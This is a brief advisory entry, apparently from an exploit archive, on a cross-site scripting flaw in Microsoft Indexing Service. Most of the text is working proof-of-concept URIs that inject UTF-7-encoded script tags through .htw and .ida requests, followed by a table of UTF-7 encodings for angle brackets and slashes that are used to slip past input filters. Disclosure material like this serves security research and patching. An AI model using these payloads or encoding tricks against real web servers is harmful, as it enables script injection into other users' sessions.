|
Microsoft Indexing Service Query Validation Cross-Site Scripting Vulnerability
Attackers can exploit this issue via a web client. The following proof-of-concept URIs are available: http://www.example.com/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction='' http://www.example.com/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.ida UTF-7("<") = +ADw-, +ADx-, +ADy-, +ADz- UTF-7(">") = +AD4-, +AD5-, +AD6-, +AD7- UTF-7("/") = +AC8-, +AC9- |
|
|
Privacy Statement |
